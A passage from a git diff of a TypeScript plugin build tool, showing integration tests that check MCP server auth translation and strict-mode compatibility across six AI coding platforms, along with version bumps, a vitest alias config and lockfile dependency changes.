+ await writePackageProxy(root, '@tokenroll/acplugin-platform-cursor', platformEntries.cursor); + await writePackageProxy(root, '@tokenroll/acplugin-platform-opencode', platformEntries.opencode); + await writePackageProxy(root, '@tokenroll/acplugin-platform-pi', platformEntries.pi); await writePackageProxy(root, '@tokenroll/acplugin-extension-hooks', hooksEntry); await writePackageProxy(root, '@tokenroll/acplugin-extension-mcp', mcpEntry); await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); @@ -126,6 +180,7 @@ async function createCompleteProject(): Promise { await fs.mkdir(path.join(root, 'src/hooks/session-start'), { recursive: true }); await fs.mkdir(path.join(root, 'src/hooks/permission'), { recursive: true }); await fs.mkdir(path.join(root, 'src/mcp/docs'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/mcp/oauth-docs'), { recursive: true }); await fs.mkdir(path.join(root, 'src/mcp/local-tools'), { recursive: true }); await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); await fs.writeFile(path.join(root, 'src/commands/release.md'), `--- @@ -155,20 +210,33 @@ capabilities: Review code and report findings. `); await fs.writeFile(path.join(root, 'src/hooks/session-start/hook.ts'), ` -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; -export default defineHook({ event: 'SessionStart', run() { return { additionalContext: 'Ready.' }; } }); +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; +export default { event: 'SessionStart', run() { return { additionalContext: 'Ready.' }; } } satisfies Hook<'SessionStart'>; `); await fs.writeFile(path.join(root, 'src/hooks/permission/hook.ts'), ` -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; -export default defineHook({ event: 'PermissionRequest', run() { return { decision: 'defer' }; } }); +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; +export default { event: 'PermissionRequest', run() { return { decision: 'defer' }; } } satisfies Hook<'PermissionRequest'>; `); await fs.writeFile(path.join(root, 'src/mcp/docs/mcp.ts'), ` -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; -export default defineMcpServer({ transport: 'http', url: 'https://mcp.example.com/mcp' }); +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; +export default { + transport: 'http', + url: 'https://mcp.example.com/mcp', + auth: { type: 'bearer', env: 'DOCS_TOKEN' }, +} satisfies McpServer; +`); + await fs.writeFile(path.join(root, 'src/mcp/oauth-docs/mcp.ts'), ` +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; +export default { + transport: 'http', + url: 'https://oauth-mcp.example.com/mcp', + auth: { type: 'oauth', scopes: ['docs:read', 'docs:write'] }, + headers: { 'X-Zeta': { value: 'z' }, 'X-Alpha': { value: 'a' } }, +} satisfies McpServer; `); await fs.writeFile(path.join(root, 'src/mcp/local-tools/mcp.ts'), ` -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; -export default defineMcpServer({ transport: 'stdio' }); +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; +export default { transport: 'stdio' } satisfies McpServer; `); await fs.writeFile(path.join(root, 'src/mcp/local-tools/server.ts'), ` let buffer = ''; @@ -193,10 +261,12 @@ process.stdin.on('data', (chunk) => { `); await fs.writeFile(path.join(root, 'public/assets/readme.txt'), 'Public asset.\n'); await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` -import antigravity from ${JSON.stringify(platformEntries.antigravity)}; -import cursor from ${JSON.stringify(platformEntries.cursor)}; -import openCode from ${JSON.stringify(platformEntries.opencode)}; -import pi from ${JSON.stringify(platformEntries.pi)}; +import antigravity from '@tokenroll/acplugin-platform-antigravity'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; +import cursor from '@tokenroll/acplugin-platform-cursor'; +import openCode from '@tokenroll/acplugin-platform-opencode'; +import pi from '@tokenroll/acplugin-platform-pi'; import hooks from '@tokenroll/acplugin-extension-hooks'; import mcp from '@tokenroll/acplugin-extension-mcp'; export default { @@ -209,7 +279,7 @@ export default { repository: 'https://github.com/TokenRollAI/portable-tools', license: 'MIT', keywords: ['portable'], - platforms: [cursor({ strict: false }), antigravity({ strict: false }), openCode({ strict: false }), pi({ strict: false })], + platforms: [claudeCode({ strict: false }), codex({ strict: false }), cursor({ strict: ${options.strictCursor === true ? 'true' : 'false'} }), antigravity({ strict: false }), openCode({ strict: false }), pi({ strict: ${options.strictPi === true ? 'true' : 'false'} })], extensions: [hooks(), mcp()], build: { strict: false }, }; @@ -221,16 +291,18 @@ afterEach(async () => { await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); }); -describe('secondary official Platforms', () => { - it('builds four native delivery-unit shapes with field-level compatibility', async () => { - /** 覆盖全部次级 Platform 和 Extension Adapter 的规范工程。 */ +describe('official Platform integration', () => { + it('builds six final candidates with field-level compatibility and deterministic MCP bytes', async () => { + /** 覆盖全部官方 Platform 和 Extension Contributor 的规范工程。 */ const root = await createCompleteProject(); /** 宽松模式允许矩阵明确声明的有限支持进入交付。 */ const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); - expect(result.success).toBe(true); - expect(result.deliveryUnits.map(unit => `${unit.platform}/${unit.id}:${unit.type}`).sort()).toEqual([ + expect(result.success, JSON.stringify(result.diagnostics)).toBe(true); + expect(result.packages.map(unit => `${unit.platform}/${unit.id}:${unit.type}`).sort()).toEqual([ 'antigravity/plugin:plugin', + 'claude-code/plugin:plugin', + 'codex/plugin:plugin', 'cursor/plugin:plugin', 'opencode/workspace:workspace', 'pi/package:package', @@ -265,7 +337,10 @@ describe('secondary official Platforms', () => { /** OpenCode 输出 workspace 资源、runtime Hook Plugin 与 local/remote MCP 配置。 */ const openCodeConfig = JSON.parse(await fs.readFile(path.join(root, 'dist/opencode/workspace/opencode.json'), 'utf8')); expect(openCodeConfig).toHaveProperty('mcp.docs.type', 'remote'); + expect(openCodeConfig).toHaveProperty('mcp.docs.headers.Authorization', 'Bearer {env:DOCS_TOKEN}'); expect(openCodeConfig).toHaveProperty('mcp.local-tools.type', 'local'); + expect(openCodeConfig).toHaveProperty('mcp.oauth-docs.oauth.scope', 'docs:read docs:write'); + await expect(fs.access(path.join(root, 'dist/opencode/workspace/.opencode/mcp.json'))).rejects.toThrow(); expect(await fs.readFile( path.join(root, 'dist/opencode/workspace/.opencode/plugins/acplugin-hooks.mjs'), 'utf8', @@ -283,6 +358,18 @@ describe('secondary official Platforms', () => { }, }); expect(piPackage).not.toHaveProperty('private'); + /** Claude Code 与 Codex 分别使用各自官方 OAuth scope wire。 */ + const claudeMcp = JSON.parse(await fs.readFile(path.join(root, 'dist/claude-code/plugin/.mcp.json'), 'utf8')); + /** Codex MCP 配置保留 scope 数组。 */ + const codexMcp = JSON.parse(await fs.readFile(path.join(root, 'dist/codex/plugin/.mcp.json'), 'utf8')); + expect(claudeMcp).toHaveProperty('mcpServers.oauth-docs.oauth.scopes', 'docs:read docs:write'); + expect(codexMcp).toHaveProperty('oauth-docs.scopes', ['docs:read', 'docs:write']); + /** Cursor 与 Antigravity 使用各自可在运行时求值的 Bearer Header wire。 */ + const cursorMcp = JSON.parse(await fs.readFile(path.join(root, 'dist/cursor/plugin/mcp.json'), 'utf8')); + /** Antigravity MCP 配置保持独立根文件。 */ + const antigravityMcp = JSON.parse(await fs.readFile(path.join(root, 'dist/antigravity/plugin/mcp_config.json'), 'utf8')); + expect(cursorMcp).toHaveProperty('mcpServers.docs.headers.Authorization', 'Bearer ${env:DOCS_TOKEN}'); + expect(antigravityMcp).toHaveProperty('mcpServers.docs.headers.Authorization', 'Bearer ${DOCS_TOKEN}'); /** 四个平台针对三类 Component 实际提交的完整能力结论。 */ const componentCompatibility = (platform: string): string[] => result.compatibility .filter(entry => entry.platform === platform && /^(?:command|skill|agent):/u.test(entry.subject)) @@ -292,7 +379,7 @@ describe('secondary official Platforms', () => { 'agent:reviewer/agent.capabilities/degraded', 'agent:reviewer/agent.model/degraded', 'agent:reviewer/component/native', - 'command:release/argumentHint/degraded', + 'command:release/argument-hint/degraded', 'command:release/component/native', 'skill:review/component/native', 'skill:review/invocation.user/degraded', @@ -301,7 +388,8 @@ describe('secondary official Platforms', () => { 'agent:reviewer/agent.capabilities/degraded', 'agent:reviewer/agent.model/degraded', 'agent:reviewer/component/degraded', - 'command:release/argumentHint/degraded', + 'command:release/argument-hint/degraded', + 'command:release/arguments/transform', 'command:release/component/transform', 'skill:review/component/native', 'skill:review/invocation/degraded', @@ -310,7 +398,7 @@ describe('secondary official Platforms', () => { 'agent:reviewer/agent.capabilities/transform', 'agent:reviewer/agent.model/degraded', 'agent:reviewer/component/native', - 'command:release/argumentHint/degraded', + 'command:release/argument-hint/degraded', 'command:release/component/native', 'skill:review/component/native', 'skill:review/invocation/degraded', @@ -319,7 +407,8 @@ describe('secondary official Platforms', () => { 'agent:reviewer/agent.capabilities/degraded', 'agent:reviewer/agent.model/degraded', 'agent:reviewer/component/degraded', - 'command:release/argumentHint/native', + 'command:release/argument-hint/native', + 'command:release/arguments/native', 'command:release/component/transform', 'skill:review/component/native', 'skill:review/invocation/degraded', @@ -329,42 +418,95 @@ describe('secondary official Platforms', () => { expect.objectContaining({ platform: 'antigravity', subject: 'command:release', level: 'transform' }), expect.objectContaining({ platform: 'opencode', subject: 'agent:reviewer', capability: 'agent.capabilities', level: 'transform' }), expect.objectContaining({ platform: 'pi', subject: 'mcp:docs', level: 'unsupported' }), + expect.objectContaining({ platform: 'claude-code', subject: 'mcp:oauth-docs', capability: 'auth.oauth', level: 'native' }), + expect.objectContaining({ platform: 'codex', subject: 'mcp:oauth-docs', capability: 'auth.oauth', level: 'native' }), + expect.objectContaining({ platform: 'cursor', subject: 'mcp:oauth-docs', capability: 'auth.oauth', level: 'degraded' }), + expect.objectContaining({ platform: 'antigravity', subject: 'mcp:oauth-docs', capability: 'auth.oauth', level: 'degraded' }), + expect.objectContaining({ platform: 'opencode', subject: 'mcp:oauth-docs', capability: 'auth.oauth', level: 'native' }), + expect.objectContaining({ platform: 'cursor', subject: 'mcp:docs', capability: 'auth.bearer', level: 'native' }), + expect.objectContaining({ platform: 'antigravity', subject: 'mcp:docs', capability: 'auth.bearer', level: 'native' }), + expect.objectContaining({ platform: 'opencode', subject: 'mcp:docs', capability: 'auth.bearer', level: 'native' }), ])); + /** 第二轮相同输入必须产生完全相同的六平台候选字节。 */ + const firstSnapshot = await snapshotDirectory(path.join(root, 'dist')); + /** repeated 是同一工程的第二次完整事务构建。 */ + const repeated = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(repeated.success, JSON.stringify(repeated.diagnostics)).toBe(true); + expect(await snapshotDirectory(path.join(root, 'dist'))).toEqual(firstSnapshot); + }); + + it('rejects scoped OAuth loss in strict mode without a capability waiver', async () => { + /** strict Cursor 工程稍后裁剪为一个原生 Skill 和一个 scoped OAuth Server。 */ + const root = await createCompleteProject({ strictCursor: true }); + await fs.rm(path.join(root, 'src/commands'), { recursive: true, force: true }); + await fs.rm(path.join(root, 'src/agents'), { recursive: true, force: true }); + await fs.rm(path.join(root, 'src/hooks'), { recursive: true, force: true }); + await fs.rm(path.join(root, 'src/mcp/docs'), { recursive: true, force: true }); + await fs.rm(path.join(root, 'src/mcp/local-tools'), { recursive: true, force: true }); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), `--- +description: Review the current change. +--- +Review the implementation. +`); + /** scoped OAuth 是这个候选中唯一的 degraded capability。 */ + const result = await runProject({ + cwd: root, + command: 'validate', + mode: 'production', + platforms: ['cursor'], + }); + expect(result.success).toBe(false); + expect(result.compatibility).toContainEqual(expect.objectContaining({ + platform: 'cursor', subject: 'mcp:oauth-docs', capability: 'auth.oauth', level: 'degraded', + })); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'COMPATIBILITY_STRICT_FAILURE', platform: 'cursor', + })); }); it('keeps strict Pi usable for Skills and Commands but rejects Agent fallback', async () => { /** 完整工程用于先确认 Agent fallback 的 strict 失败。 */ - const root = await createCompleteProject(); + const root = await createCompleteProject({ strictPi: true }); /** Pi strictness 只对实际能力损失生效。 */ const strictWithAgent = await runProject({ cwd: root, command: 'validate', mode: 'production', - platforms: ['pi'] as never, - strict: true, + platforms: ['pi'], }); expect(strictWithAgent.success).toBe(false); expect(strictWithAgent.diagnostics).toContainEqual(expect.objectContaining({ - code: 'COMPATIBILITY_STRICT', + code: 'COMPATIBILITY_STRICT_FAILURE', platform: 'pi', })); - /** 移除 Agent 和 MCP 后只剩 Pi 原生/transform 能力。 */ + /** 移除 Agent 后保留 MCP,证明 strict 会拒绝 unsupported MCP transport。 */ await fs.rm(path.join(root, 'src/agents'), { recursive: true, force: true }); - await fs.rm(path.join(root, 'src/mcp'), { recursive: true, force: true }); await fs.rm(path.join(root, 'src/hooks/permission'), { recursive: true, force: true }); await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), `--- description: Review the current change. --- Review the implementation. `); + /** strict MCP 失败必须指向 Pi 且报告真实 MCP compatibility。 */ + const strictWithMcp = await runProject({ + cwd: root, + command: 'validate', + mode: 'production', + platforms: ['pi'], + }); + expect(strictWithMcp.success).toBe(false); + expect(strictWithMcp.compatibility).toContainEqual(expect.objectContaining({ + platform: 'pi', subject: 'mcp:docs', capability: 'transport.http', level: 'unsupported', + })); + /** 移除 MCP 后只剩 Pi 原生/transform 能力。 */ + await fs.rm(path.join(root, 'src/mcp'), { recursive: true, force: true }); /** strict Skills/Commands/SessionStart 构建结果。 */ const supported = await runProject({ cwd: root, command: 'validate', mode: 'production', - platforms: ['pi'] as never, - strict: true, + platforms: ['pi'], }); expect(supported.success).toBe(true); }); diff --git a/packages/test/test/workspace-layout.test.ts b/packages/test/test/workspace-layout.test.ts index 855f235..e1457b8 100644 --- a/packages/test/test/workspace-layout.test.ts +++ b/packages/test/test/workspace-layout.test.ts @@ -8,12 +8,12 @@ const root = fileURLToPath(new URL('../../..', import.meta.url)); /** 六个官方 Platform 的目录名、公开包名与当前独立版本。 */ const platformPackages = [ - ['claude-code', '@tokenroll/acplugin-platform-claude-code', '0.0.1-beta'], - ['codex', '@tokenroll/acplugin-platform-codex', '0.0.2-beta'], - ['cursor', '@tokenroll/acplugin-platform-cursor', '0.0.1-beta'], - ['antigravity', '@tokenroll/acplugin-platform-antigravity', '0.0.1-beta'], - ['opencode', '@tokenroll/acplugin-platform-opencode', '0.0.1-beta'], - ['pi', '@tokenroll/acplugin-platform-pi', '0.0.1-beta'], + ['claude-code', '@tokenroll/acplugin-platform-claude-code', '0.0.2-beta'], + ['codex', '@tokenroll/acplugin-platform-codex', '0.0.3-beta'], + ['cursor', '@tokenroll/acplugin-platform-cursor', '0.0.2-beta'], + ['antigravity', '@tokenroll/acplugin-platform-antigravity', '0.0.2-beta'], + ['opencode', '@tokenroll/acplugin-platform-opencode', '0.0.2-beta'], + ['pi', '@tokenroll/acplugin-platform-pi', '0.0.2-beta'], ] as const; /** 九个独立版本的正式公开包清单路径。 */ diff --git a/packages/test/test/workspace.test.ts b/packages/test/test/workspace.test.ts index e381625..4066c52 100644 --- a/packages/test/test/workspace.test.ts +++ b/packages/test/test/workspace.test.ts @@ -1,8 +1,8 @@ import { describe, expect, it } from 'vitest'; -import { CORE_SCHEMA_VERSION } from '@acplugin/core'; +import { LIFECYCLE_API_VERSION } from '@acplugin/core'; describe('workspace', () => { it('resolves private production packages from the test workspace', () => { - expect(CORE_SCHEMA_VERSION).toBe('1'); + expect(LIFECYCLE_API_VERSION).toBe('1'); }); }); diff --git a/packages/test/tsconfig.sdk.json b/packages/test/tsconfig.sdk.json new file mode 100644 index 0000000..8dae822 --- /dev/null +++ b/packages/test/tsconfig.sdk.json @@ -0,0 +1,4 @@ +{ + "extends": "../../tsconfig.base.json", + "include": ["test/sdk-api.types.ts"] +} diff --git a/packages/test/vitest.config.ts b/packages/test/vitest.config.ts index 5654f71..257dc1d 100644 --- a/packages/test/vitest.config.ts +++ b/packages/test/vitest.config.ts @@ -17,16 +17,20 @@ export default defineConfig({ environment: 'node', }, resolve: { - alias: { - '@acplugin/core': workspaceSource('../core/src/index.ts'), - '@tokenroll/acplugin': workspaceSource('../acplugin/src/index.ts'), - '@tokenroll/acplugin-platform-antigravity': workspaceSource('../platforms/antigravity/src/index.ts'), - '@tokenroll/acplugin-platform-claude-code': workspaceSource('../platforms/claude-code/src/index.ts'), - '@tokenroll/acplugin-platform-codex': workspaceSource('../platforms/codex/src/index.ts'), - '@tokenroll/acplugin-platform-cursor': workspaceSource('../platforms/cursor/src/index.ts'), - '@tokenroll/acplugin-platform-opencode': workspaceSource('../platforms/opencode/src/index.ts'), - '@tokenroll/acplugin-platform-pi': workspaceSource('../platforms/pi/src/index.ts'), - '@tokenroll/acplugin-extension-mcp': workspaceSource('../extensions/mcp/src/index.ts'), - }, + alias: [ + { find: '@tokenroll/acplugin/sdk', replacement: workspaceSource('../acplugin/src/sdk.ts') }, + { find: '@acplugin/core/kernel-sdk', replacement: workspaceSource('../core/src/kernel-sdk.ts') }, + { find: '@acplugin/core/kernel-author', replacement: workspaceSource('../core/src/kernel-author.ts') }, + { find: '@acplugin/core', replacement: workspaceSource('../core/src/index.ts') }, + { find: '@tokenroll/acplugin', replacement: workspaceSource('../acplugin/src/index.ts') }, + { find: '@tokenroll/acplugin-platform-antigravity', replacement: workspaceSource('../platforms/antigravity/src/index.ts') }, + { find: '@tokenroll/acplugin-platform-claude-code', replacement: workspaceSource('../platforms/claude-code/src/index.ts') }, + { find: '@tokenroll/acplugin-platform-codex', replacement: workspaceSource('../platforms/codex/src/index.ts') }, + { find: '@tokenroll/acplugin-platform-cursor', replacement: workspaceSource('../platforms/cursor/src/index.ts') }, + { find: '@tokenroll/acplugin-platform-opencode', replacement: workspaceSource('../platforms/opencode/src/index.ts') }, + { find: '@tokenroll/acplugin-platform-pi', replacement: workspaceSource('../platforms/pi/src/index.ts') }, + { find: '@tokenroll/acplugin-extension-hooks', replacement: workspaceSource('../extensions/hooks/src/index.ts') }, + { find: '@tokenroll/acplugin-extension-mcp', replacement: workspaceSource('../extensions/mcp/src/index.ts') }, + ], }, }); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 37cfb2f..c3f0180 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -13,7 +13,7 @@ catalogs: specifier: npm:typescript@^7.0.2 version: 7.0.2 rolldown: - specifier: ^1.2.2 + specifier: 1.2.2 version: 1.2.2 tsdown: specifier: ^0.22.14 @@ -80,33 +80,18 @@ importers: packages/acplugin: dependencies: - '@iarna/toml': - specifier: ^2.2.5 - version: 2.2.5 '@inquirer/prompts': specifier: ^8.3.2 version: 8.5.2(@types/node@20.19.43) - chalk: - specifier: ^5.6.2 - version: 5.6.2 - chokidar: - specifier: ^5.0.0 - version: 5.0.0 commander: specifier: 14.0.1 version: 14.0.1 - glob: - specifier: ^13.0.6 - version: 13.0.6 gray-matter: specifier: ^4.0.3 version: 4.0.3 - jiti: - specifier: ^2.7.0 - version: 2.7.0 - ora: - specifier: ^5.4.1 - version: 5.4.1 + rolldown: + specifier: 'catalog:' + version: 1.2.2 semver: specifier: ^7.8.5 version: 7.8.5 @@ -138,6 +123,15 @@ importers: packages/core: dependencies: + '@iarna/toml': + specifier: ^2.2.5 + version: 2.2.5 + chokidar: + specifier: ^5.0.0 + version: 5.0.0 + rolldown: + specifier: 'catalog:' + version: 1.2.2 semver: specifier: ^7.8.5 version: 7.8.5 @@ -186,10 +180,6 @@ importers: version: 1.6.4(@algolia/client-search@5.56.0)(@types/node@20.19.43)(@typescript/typescript6@6.0.2)(postcss@8.5.25)(search-insights@2.17.3) packages/extensions/hooks: - dependencies: - rolldown: - specifier: 'catalog:' - version: 1.2.2 devDependencies: '@tokenroll/acplugin': specifier: workspace:^ @@ -208,11 +198,10 @@ importers: version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) packages/extensions/mcp: - dependencies: - rolldown: - specifier: 'catalog:' - version: 1.2.2 devDependencies: + '@modelcontextprotocol/sdk': + specifier: ^1.30.0 + version: 1.30.0(zod@4.4.3) '@tokenroll/acplugin': specifier: workspace:^ version: link:../../acplugin @@ -967,6 +956,12 @@ packages: '@gerrit0/mini-shiki@3.23.0': resolution: {integrity: sha512-bEMORlG0cqdjVyCEuU0cDQbORWX+kYCeo0kV1lbxF5bt4r7SID2l9bqsxJEM0zndaxpOUT7riCyIVEuqq/Ynxg==} + '@hono/node-server@2.1.1': + resolution: {integrity: sha512-ELuehkj5VCBdgEw9zs+ivkKwyzzUCSQuE96YmiPvn1ECBoZCczbFXJLeEGMTYjphP6gydh4pHMqEYPVMYUVgQg==} + engines: {node: '>=20'} + peerDependencies: + hono: ^4 + '@humanfs/core@0.19.2': resolution: {integrity: sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==} engines: {node: '>=18.18.0'} @@ -1151,6 +1146,16 @@ packages: '@manypkg/get-packages@1.1.3': resolution: {integrity: sha512-fo+QhuU3qE/2TQMQmbVMqaQ6EWbMhi4ABWP+O4AM1NqPBuy0OrApV5LO6BrrgnhtAHS2NH6RrVk9OL181tTi8A==} + '@modelcontextprotocol/sdk@1.30.0': + resolution: {integrity: sha512-xKd8OIzlqNzcqcNumGAa6g+PW2kjD5vrpcKOnfldAUPP3j7lnqMPwlTXQm8gF+UwH72z0lqaRbjr9hqGz0eITA==} + engines: {node: '>=18'} + peerDependencies: + '@cfworker/json-schema': ^4.1.1 + zod: ^3.25 || ^4.0 + peerDependenciesMeta: + '@cfworker/json-schema': + optional: true + '@nodelib/fs.scandir@2.1.5': resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} engines: {node: '>= 8'} @@ -1944,6 +1949,10 @@ packages: '@yuku-toolchain/types@0.8.3': resolution: {integrity: sha512-9LN3HYs3A9qSPVFunsxlbfwBcUgexti3TmhOzIxB/UH8zFuaHQJXTRDcN17DW6cp1GsyZtiZA7f18uIra36Jag==} + accepts@2.0.0: + resolution: {integrity: sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==} + engines: {node: '>= 0.6'} + acorn-jsx@5.3.2: resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} peerDependencies: @@ -1954,9 +1963,20 @@ packages: engines: {node: '>=0.4.0'} hasBin: true + ajv-formats@3.0.1: + resolution: {integrity: sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==} + peerDependencies: + ajv: ^8.0.0 + peerDependenciesMeta: + ajv: + optional: true + ajv@6.15.0: resolution: {integrity: sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==} + ajv@8.20.0: + resolution: {integrity: sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==} + algoliasearch@5.56.0: resolution: {integrity: sha512-PrqppUmhT4ENdas2pH9caE7efUcxy6EcSFhWzosiVuQBzu2tQ5yLTI6jwomT/1cuBnivzGfxiJCqDNN9FRRh+Q==} engines: {node: '>= 14.0.0'} @@ -1969,10 +1989,6 @@ packages: resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} engines: {node: '>=8'} - ansi-styles@4.3.0: - resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} - engines: {node: '>=8'} - ansis@4.3.1: resolution: {integrity: sha512-BJ8/l4R5LRE7hW9WdSuGYrLSHi2ynxeFpDFbH0K/CgNeY/tyhk+vO6TYxXC5r5CpUhNVX310xzPsN/H9lCdfOA==} engines: {node: '>=14'} @@ -1995,9 +2011,6 @@ packages: resolution: {integrity: sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==} engines: {node: 18 || 20 || >=22} - base64-js@1.5.1: - resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} - better-path-resolve@1.0.0: resolution: {integrity: sha512-pbnl5XzGBdrFU/wT4jqmJVPn2B6UHPBOhzMQkY/SPUPB6QtUXtmBHBIwCbXJol93mOpGMnQyP/+BB19q04xj7g==} engines: {node: '>=4'} @@ -2005,8 +2018,9 @@ packages: birpc@2.9.0: resolution: {integrity: sha512-KrayHS5pBi69Xi9JmvoqrIgYGDkD6mcSe/i6YKi3w5kekCLzrX4+nawcXqrj2tIp50Kw/mT/s3p+GVK0A0sKxw==} - bl@4.1.0: - resolution: {integrity: sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==} + body-parser@2.3.0: + resolution: {integrity: sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==} + engines: {node: '>=18'} brace-expansion@5.0.9: resolution: {integrity: sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==} @@ -2016,13 +2030,22 @@ packages: resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} engines: {node: '>=8'} - buffer@5.7.1: - resolution: {integrity: sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==} + bytes@3.1.2: + resolution: {integrity: sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==} + engines: {node: '>= 0.8'} cac@7.0.0: resolution: {integrity: sha512-tixWYgm5ZoOD+3g6UTea91eow5z6AAHaho3g0V9CNSNb45gM8SmflpAc+GRd1InC4AqN/07Unrgp56Y94N9hJQ==} engines: {node: '>=20.19.0'} + call-bind-apply-helpers@1.0.2: + resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} + engines: {node: '>= 0.4'} + + call-bound@1.0.4: + resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==} + engines: {node: '>= 0.4'} + ccount@2.0.1: resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} @@ -2030,14 +2053,6 @@ packages: resolution: {integrity: sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==} engines: {node: '>=18'} - chalk@4.1.2: - resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} - engines: {node: '>=10'} - - chalk@5.6.2: - resolution: {integrity: sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==} - engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} - character-entities-html4@2.1.0: resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} @@ -2054,29 +2069,10 @@ packages: cjs-module-lexer@1.4.3: resolution: {integrity: sha512-9z8TZaGM1pfswYeXrUpzPrkx8UnWYdhJclsiYMm6x/w5+nN+8Tf/LnAgfLGQCm59qAOxU8WwHEq2vNwF6i4j+Q==} - cli-cursor@3.1.0: - resolution: {integrity: sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==} - engines: {node: '>=8'} - - cli-spinners@2.9.2: - resolution: {integrity: sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==} - engines: {node: '>=6'} - cli-width@4.1.0: resolution: {integrity: 